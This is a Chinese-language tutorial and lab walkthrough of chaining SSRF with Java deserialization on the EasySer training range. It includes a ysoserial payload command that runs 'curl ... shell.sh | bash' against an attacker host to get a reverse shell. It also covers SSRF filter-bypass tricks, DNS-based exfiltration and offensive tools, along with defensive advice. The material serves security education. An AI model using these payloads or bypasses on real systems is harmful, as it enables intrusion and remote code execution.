SSRF与Java反序列化漏洞组合攻击:从原理到实战的完整剖析

SSRF与Java反序列化漏洞组合攻击:从原理到实战的完整剖析 1. 项目概述一个参数引发的“蝴蝶效应”最近在复现和审计一些老靶场时我又把EasySer这个经典的Java靶场翻了出来。这个靶场之所以经典是因为它用一个极其简单的场景生动地展示了安全漏洞之间如何“串联”和“组合”最终产生远超单个漏洞威力的攻击链。整个攻击的起点仅仅是一个看似无害的请求参数。这让我想起安全圈常说的一句话“漏洞本身不可怕可怕的是漏洞的组合。”今天我们就以EasySer靶场为例深入拆解SSRF服务器端请求伪造与Java反序列化漏洞是如何被一个参数精巧地串联起来实现从外网探测到内网穿透再到最终命令执行的完整攻击路径。无论你是正在学习Web安全的初学者还是想深入理解漏洞联动原理的进阶者这个案例都能给你带来不少启发。2. 漏洞原理深度解析SSRF与反序列化的“化学反应”在深入实战之前我们必须先搞清楚两个核心漏洞的原理以及它们为何能产生“112”的效果。单独来看SSRF和反序列化都是高危漏洞但它们的攻击面和利用条件有所不同。2.1 SSRF内网大门的“万能钥匙”SSRF即Server-Side Request Forgery。简单来说就是攻击者能够欺骗服务器让它代表攻击者向任意地址通常是内网地址发起HTTP请求。想象一下你有一个智能管家Web应用你可以命令它“去把门口信箱里的信拿给我。” 正常情况下它只会去门口。但如果这个管家存在逻辑缺陷攻击者可以命令它“去地下室第三个房间的保险柜里把里面的文件拿给我。” SSRF就是这个逻辑缺陷它让“管家”的执行范围超出了设计者的预期。SSRF的常见成因未校验的URL参数应用提供了从指定URL获取数据的功能如图片加载、文件导入、网页抓取但对用户传入的URL没有进行严格的校验和过滤。URL解析差异攻击者利用URL解析器的特性通过构造特殊的URL如使用、#、DNS重绑定、302跳转等绕过黑名单或白名单校验。服务端请求跟随重定向应用在请求用户提供的URL时自动跟随了重定向而重定向的目标地址可能是内网服务。在EasySer靶场中SSRF的触发点通常是一个用于获取远程资源的接口例如一个imageUpload功能它接受一个url参数并尝试去下载这个URL指向的图片。如果后端代码直接使用HttpClient或URLConnection等工具去请求这个url而没有检查其协议是否仅为http/https、域名是否指向内网IP段如192.168.*.*10.*.*.*172.16.*.*127.0.0.1或端口那么SSRF就产生了。SSRF的危害不止于端口扫描很多人认为SSRF就是用来扫描内网端口的这低估了它的价值。通过SSRF攻击者可以探测内网资产识别内网存在的Web应用、数据库、缓存服务等。攻击内网脆弱应用直接访问内网中未授权或存在已知漏洞的应用例如攻击Redis、Memcached等。作为请求代理访问那些原本只允许内网访问的管理界面或API接口。与其它漏洞结合这正是我们今天的重点——作为反序列化漏洞的“触发器”或“传输带”。2.2 Java反序列化从数据到代码的“魔法”序列化是将对象的状态信息转换为可以存储或传输的形式字节流的过程。反序列化则是其逆过程将字节流恢复为对象。Java提供了ObjectInputStream和ObjectOutputStream来实现这一功能。漏洞的根源在于“信任”。当应用对来自不可信源如网络请求、文件上传的序列化数据执行反序列化操作时就埋下了隐患。攻击者可以精心构造一个序列化数据流其中包含指向某个特殊类通常存在于项目的依赖库中的引用。当这个数据流被反序列化时Java虚拟机会自动调用该类的readObject()方法。如果这个类我们称之为“Gadget链”中的一环的readObject()方法中包含了某些危险操作比如使用Runtime.exec()执行系统命令那么反序列化过程就会变成代码执行过程。为什么反序列化漏洞如此危险执行层面高成功利用通常意味着直接获得Web应用进程权限可以执行任意系统命令。利用链复杂一个完整的利用Gadget Chain往往需要串联多个类从触发点如HashMap的readObject到最终执行点如TemplatesImpl的newTransformer。著名的利用链有CommonsCollectionsCC链、Fastjson、Jackson、XStream等。隐蔽性强攻击载荷是一串二进制或Base64编码的字节流混杂在正常的数据中不易被传统的WAF或日志分析直接发现。2.3 组合漏洞的思维SSRF作为反序列化的“投递员”现在让我们把两者结合起来思考。假设存在一个Java应用比如EasySer它有一个SSRF漏洞点可以请求内网的任意服务。内网中某个服务例如一个Java RMI服务、一个HTTP服务端口存在一个反序列化入口点它会直接反序列化接收到的HTTP请求体或特定参数。那么攻击思路就清晰了步骤一侦察利用SSRF漏洞对内网特定IP段进行端口扫描寻找开放了特定端口如RMI的1099端口或者某个Web服务的特定路径的服务。步骤二投递攻击者无法直接访问这个内网服务但存在SSRF漏洞的服务器可以。攻击者将构造好的恶意序列化数据即反序列化利用载荷/Payload作为请求体或参数通过SSRF漏洞点“投递”给内网的目标服务。步骤三触发内网目标服务接收到这个请求后由于其存在反序列化漏洞会直接处理这个Payload从而在内网服务器上触发命令执行。这样一来SSRF扮演了“桥梁”和“运输工具”的角色将反序列化这把“利器”从外网攻击者手中运送并刺入了内网的目标。这就是组合漏洞的威力SSRF突破了网络边界反序列化则实现了权限突破。3. EasySer靶场实战漏洞链的完整复现理论讲完了我们进入实战环节。为了复现这个漏洞链你需要准备一个Java Web运行环境如Tomcat并将EasySer靶场部署起来。这里我们假设你已经完成了基础环境搭建靶场运行在http://your-ip:8080/easyser。3.1 环境探测与SSRF漏洞发现首先访问靶场主页进行常规的功能点测试。通常这类靶场会有一个明显的文件上传、URL下载或者图片处理功能。功能点分析通过浏览或简单的目录扫描我们发现一个名为/getImage的接口。通过查看前端代码或抓包发现它接收一个url参数。GET /easyser/getImage?urlhttp://example.com/image.jpg HTTP/1.1SSRF验证修改url参数尝试让其访问本地回环地址或其他内网地址。GET /easyser/getImage?urlhttp://127.0.0.1:8080 HTTP/1.1观察响应。如果服务器返回了本机8080端口服务的首页内容可能是Tomcat默认页或者返回的响应时间、状态码与访问一个不存在的端口有明显差异那么SSRF漏洞基本可以确认。内网探测确认SSRF存在后开始利用它进行内网探测。由于靶场环境通常比较简单我们可以假设内网存在另一个服务在192.168.0.100的8088端口上。GET /easyser/getImage?urlhttp://192.168.0.100:8088 HTTP/1.1通过Burp Suite的Intruder模块可以批量对192.168.0.1-254的常见端口80, 443, 8080, 8081, 8090, 9000等进行扫描绘制内网资产地图。3.2 定位反序列化端点在内网探测过程中我们需要特别关注那些可能接受序列化数据的端点。常见的反序列化入口有RMI服务默认端口1099。通过SSRF访问rmi://192.168.0.100:1099/如果存在服务可能会返回一些信息。HTTP端点某些Java框架或应用会提供接收序列化数据的HTTP接口。例如一些监控接口、调试接口或者使用了Java序列化进行通信的微服务端点。它们的URL路径可能包含/invoker、/JMXInvokerServletJBoss、/wls-wsat/*WebLogic等。自定义协议端口一些Java应用会自定义TCP服务直接接收ObjectInputStream。在EasySer的设定中我们假设通过SSRF扫描发现内网192.168.0.100:8088上运行着一个服务其/api/deserialize接口会直接读取HTTP POST请求的Body并尝试进行Java反序列化。3.3 构造与投递反序列化Payload这是整个攻击链中最关键的技术环节。我们需要构造一个能在目标服务器上执行命令的序列化对象。选择利用链Gadget Chain首先需要知道目标服务器的Java版本和ClassPath中包含了哪些公共库。常见的利用链工具如ysoserial它集成了多种链。CommonsCollections1(CC1): 适用于Commons-Collections 3.2.1且JDK 8u71的环境。CommonsCollections2(CC2): 使用javassist对CC库版本要求较宽。CommonsCollections3(CC3): 结合了javassist和TemplatesImpl。CommonsCollections4(CC4): CC2的变种。Jdk7u21: 利用JDK内部的类不依赖第三方库。由于靶场环境通常是固定的我们可以通过报错信息或尝试不同链来探测。这里我们假设目标环境存在commons-collections 3.1使用CC1链。生成Payload使用ysoserial生成Payload。命令格式如下java -jar ysoserial.jar CommonsCollections1 要执行的命令 payload.ser例如生成一个在Linux下执行curl http://attacker.com/shell.sh | bash的Payload假设攻击者服务器在192.168.1.200java -jar ysoserial.jar CommonsCollections1 curl -s http://192.168.1.200/shell.sh | bash payload.ser生成的payload.ser是一个二进制文件。通过SSRF投递Payload现在我们需要将payload.ser的内容通过之前发现的SSRF漏洞点发送到内网的反序列化端点。这里不能直接用GET请求的url参数了因为参数通常有长度限制且是URL编码。我们需要让存在SSRF的服务器发起一个POST请求并且请求体就是我们的二进制Payload。这需要利用SSRF支持协议和方法的特性。如果SSRF的实现是使用java.net.URLConnection并且代码没有限制请求方法那么我们可以尝试利用file://协议或jar://协议来构造一个特殊的请求或者利用HTTP协议的重定向功能。但更常见且通用的方法是如果SSRF点支持访问一个攻击者可控的Web服务并由这个服务返回一个包含恶意Payload的响应同时这个响应能“引导”存在SSRF的服务器向目标发起POST请求。一个更直接的思路适用于EasySer这类教学靶场假设/getImage接口的后端逻辑是使用HttpURLConnection并且它完整地复制了原始请求的方法和请求体虽然不常见但某些实现不佳的代理功能可能会这样。那么攻击步骤是攻击者直接向/getImage接口发起一个POST请求。请求的url参数值为内网目标地址http://192.168.0.100:8088/api/deserialize。请求体Body放置我们生成的payload.ser的二进制内容或Base64编码后的内容如果后端会解码。存在SSRF漏洞的服务器在解析这个请求时会向http://192.168.0.100:8088/api/deserialize发起一个POST请求并将收到的请求体原样转发。对应的Burp Suite请求可能如下所示POST /easyser/getImage HTTP/1.1 Host: your-ip:8080 Content-Type: application/x-www-form-urlencoded Content-Length: [length] urlhttp://192.168.0.100:8088/api/deserialize[这里可能需要根据实际参数调整或者Body直接放二进制数据]注意实际构造取决于靶场/getImage接口的具体实现。可能需要尝试不同的Content-Type如application/octet-stream或者将Payload进行URL编码后放在某个参数里。3.4 攻击触发与结果验证当精心构造的请求发出后整个攻击链开始运转外网攻击者向EasySer的SSRF端点发送请求。EasySer服务器根据url参数向内网的192.168.0.100:8088/api/deserialize发起HTTP POST请求并将攻击者的请求体发送过去。内网的192.168.0.100:8088服务接收到请求其/api/deserialize接口读取请求体并进行了ObjectInputStream.readObject()操作。反序列化过程触发CC1利用链最终执行了嵌入在Payload中的命令curl -s http://192.168.1.200/shell.sh | bash。内网服务器从攻击者的192.168.1.200下载并执行了shell.sh脚本攻击者从而获得了内网服务器的控制权例如shell.sh是一个反弹Shell脚本。验证攻击是否成功可以监听攻击者服务器上shell.sh被请求的日志或者直接监听反弹Shell的端口。4. 漏洞挖掘与防御的深层思考通过EasySer的案例我们看到了一个参数如何像多米诺骨牌的第一张引发连锁反应。这对开发者和安全人员都有深刻的启示。4.1 从攻击者视角漏洞挖掘的技巧与思路参数追踪与数据流分析安全测试时要关注每一个用户可控的输入点特别是URL、文件路径、服务器地址这类参数。使用工具如Burp Suite的Flow或代码审计追踪它们在整个应用中的数据流向看最终是否被用于发起网络请求HttpClient.execute,URLConnection.connect等。协议与伪协议利用测试SSRF时不要只测试http://。尝试file://读取本地文件、dict://探测端口信息、gopher://一个功能强大的协议可以构造任意TCP数据包常用于攻击内网Redis、Memcached、ldap://等。不同的后端库对协议的支持和处理方式不同可能绕过一些过滤。绕过技巧IP地址编码使用十进制IP、八进制IP、十六进制IP、域名解析将IP绑定到自己的域名来绕过简单的正则过滤。URL解析差异利用符号如http://expected-hostattacker-host。部分解析器会取后面的部分作为主机而有些过滤逻辑可能只检查整个字符串。重定向提供一个URL该URL返回一个302重定向响应指向内网地址。如果服务器跟随重定向则能成功访问内网。DNS重绑定利用DNS重绑定技术使同一个域名在第一次解析时返回一个外网IP通过过滤在服务器真正发起请求时解析返回一个内网IP。反序列化入口发现除了扫描常见端口和路径还可以在发现SSRF后尝试向探测到的HTTP服务发送一些畸形的、类似序列化魔术头AC ED 00 05 Java序列化流的开始标志的数据观察其响应是否有异常或者是否返回了Java反序列化相关的错误信息如ClassNotFoundException,InvalidClassException。4.2 从开发者视角立体化的防御策略防御这种组合漏洞需要从多个层面构建纵深防御体系。SSRF防御输入校验与白名单对用户输入的URL进行严格校验。最佳实践是建立白名单机制只允许访问预设的、可信的域名或IP地址。如果业务必须允许自定义URL则必须进行严格的过滤。解析与校验分离使用权威的URL解析库如Java的java.net.URI来解析URL获取其host、protocol、port然后对这些提取出的部分进行校验而不是对原始字符串进行简单的字符串匹配。禁用危险协议和端口在代码层面禁止请求file://、gopher://、dict://等非HTTP/HTTPS协议。禁止访问内网IP段RFC 1918和回环地址。控制请求目的地使用网络层面的防火墙或安全组策略限制应用程序服务器只能访问必要的出站地址和端口。不跟随重定向如果业务不需要在发起请求时显式设置不自动跟随重定向。反序列化防御根本解决避免反序列化不可信数据这是最有效的方法。如果业务逻辑不需要就不要使用Java原生序列化进行跨网络或跨信任边界的数据传输。可以考虑使用JSON、XML、Protobuf等更安全的数据格式。使用安全的反序列化库如果必须使用考虑使用更安全的库如Jackson配置enableDefaultTyping为false、Gson等并严格限制可反序列化的类型。升级依赖库及时升级项目中使用的commons-collections、commons-beanutils等存在已知Gadget链的库到安全版本。JVM层面防护使用Java安全管理器Security Manager或第三方RASP运行时应用自保护产品对执行敏感操作如Runtime.exec、ProcessBuilder.start、反射调用等进行拦截。输入验证与过滤在反序列化之前对输入流进行检查。可以尝试使用SerialKiller、NotSoSerial等工具它们通过黑名单或白名单的方式在ObjectInputStream解析过程中拦截危险的类。替换默认的ObjectInputStream自定义ObjectInputStream重写resolveClass方法在其中对要反序列化的类进行严格的检查只允许反序列化业务必要的类。注意黑名单防御方式如过滤InvokerTransformer、TemplatesImpl等类是脆弱的因为新的利用链和类可能随时被发现。白名单方式只允许已知安全的类是更可靠的选择但需要对业务有深入理解。5. 实战中的疑难杂症与排查实录在实际的漏洞利用和代码审计过程中你肯定会遇到各种问题。下面记录了一些常见坑点和排查思路。5.1 Payload生成与传输问题问题使用ysoserial生成的Payload通过SSRF发送后目标服务无反应也没有错误日志。排查链选择错误目标环境可能没有对应的Gadget链依赖。尝试换用其他链如CC2, CC3, Jdk7u21。可以通过触发一个已知的、会报ClassNotFoundException的类来探测环境。Payload编码问题HTTP传输过程中二进制数据可能被损坏。尝试将Payload进行Base64编码并在接收端先解码再反序列化这要求目标服务有对应的解码逻辑。或者确保你的请求工具如Burp Suite以二进制模式Paste from file粘贴Payload并设置正确的Content-Type: application/octet-stream。请求方式不对确认目标反序列化端点期望的是GET参数、POST表单参数还是Raw Body。通过SSRF构造的请求需要与之匹配。问题SSRF请求成功但返回了java.io.StreamCorruptedException: invalid stream header错误。排查这通常意味着发送过去的数据不是有效的Java序列化流。可能是数据在传输过程中被截断、编码错误或者你发送的根本就不是序列化数据。检查你的Payload文件头是否是AC ED 00 05。确保整个Payload被完整发送。5.2 利用链不生效的深度分析问题确认依赖存在Payload也正确送达并触发了反序列化但命令没有执行。排查JDK版本限制某些利用链对JDK版本有要求。例如CC1链在JDK 8u71之后由于sun.reflect.annotation.AnnotationInvocationHandler的readObject逻辑变化而失效。需要换用CC2、CC3等链。安全管理器限制目标JVM可能启用了Security Manager禁止了执行命令的操作。此时需要构造不依赖Runtime.exec的利用链例如用于文件写入、DNS请求或延迟测试的链来验证漏洞是否存在。命令执行上下文命令是在Web应用所属的Java进程权限下执行的。这个权限可能受限如Docker容器内、低权限用户。执行的命令可能因为环境变量PATH问题找不到如curl、wget最好使用绝对路径/usr/bin/curl或者先尝试执行whoami、id、pwd等简单命令。出网限制你的反弹Shell或下载命令需要目标服务器能访问你的攻击机。如果目标内网服务器无法出网命令执行了你也收不到回显。此时需要考虑无回显的利用方式如使用dnslog.cn这类平台通过DNS查询外带数据或者执行延时命令ping -c 5 attacker_ip来判断命令是否执行。5.3 防御机制的绕过尝试问题目标对反序列化类进行了白名单过滤。思路研究白名单的具体实现。如果过滤不严格可能存在绕过。例如如果使用Class.forName加载类可以考虑使用数组类[Lcom.xxx.EvilClass;或内部类com.xxx.Outer$Inner等形式。此外可以寻找白名单内本身存在的、具有危险方法的类构造新的、不被拦截的Gadget链。这需要更深入的Java知识和代码审计能力。6. 工具链与自动化探索手工复现有助于理解原理但在实战和批量检测中我们需要借助工具。SSRF探测工具Burp Suite Collaborator这是Burp Suite Pro版的功能用于检测盲SSRF。你可以在Payload中插入Collaborator生成的域名如果存在SSRF且目标服务器发起了DNS查询或HTTP请求Collaborator会收到通知这非常适合探测那些没有回显的SSRF。Gopherus一款专门用于利用Gopher协议攻击内网服务的工具它可以直接生成攻击Redis、MySQL、FastCGI等服务的Gopher Payload与SSRF结合威力巨大。SSRFmap一个自动化的SSRF探测和利用工具内置了端口扫描、文件读取、内网服务攻击等多种功能模块。反序列化利用与检测ysoserial必备的Payload生成器前面已经详细介绍。marshalsec另一个优秀的工具除了生成Payload还方便启动恶意的RMI/LDAP服务器用于在利用JNDI注入结合反序列化的攻击中提供恶意类加载。Burp Suite 插件 – Java Deserialization Scanner可以自动检测请求中可能存在的Java反序列化漏洞并尝试使用DNS外带等方式验证。GadgetInspector一款静态分析工具用于在Java应用的依赖库中自动寻找可能的Gadget链对于代码审计和构建自定义利用链非常有帮助。自动化漏洞链利用 将上述工具和思路结合起来可以构思一个自动化脚本的工作流输入目标存在SSRF的URL和参数。脚本通过SSRF对内网C段进行常见端口扫描。对开放的HTTP服务自动发送一些探测请求尝试识别服务类型如查看HTTP响应头Server字段或访问特定路径看返回。如果识别出可能是Java服务如Tomcat, JBoss, Weblogic则自动向其发送几种常见的反序列化探测Payload如URLDNS链该链只会触发DNS查询无害但可用于验证漏洞存在。如果探测到漏洞再根据识别出的服务信息和版本选择对应的命令执行Payload进行利用。这个案例的价值远不止于攻破一个靶场。它揭示了一种重要的安全思维模式不要孤立地看待单个漏洞。在复杂的系统架构中一个低危的信息泄露漏洞如SSRF可能成为利用另一个高危漏洞如反序列化的关键跳板。作为防御方需要建立纵深防御每一层都可能阻断攻击链作为攻击方则需要拥有这种“连接点”的视野将分散的弱点串联成致命的攻击路径。在审计代码时每当看到一个new ObjectInputStream()我都会下意识地问自己“这个流的源头用户最终能控制吗它会不会通过某个SSRF点从别处流过来” 这种联想能力或许就是资深安全研究员与新手之间的一道分水岭。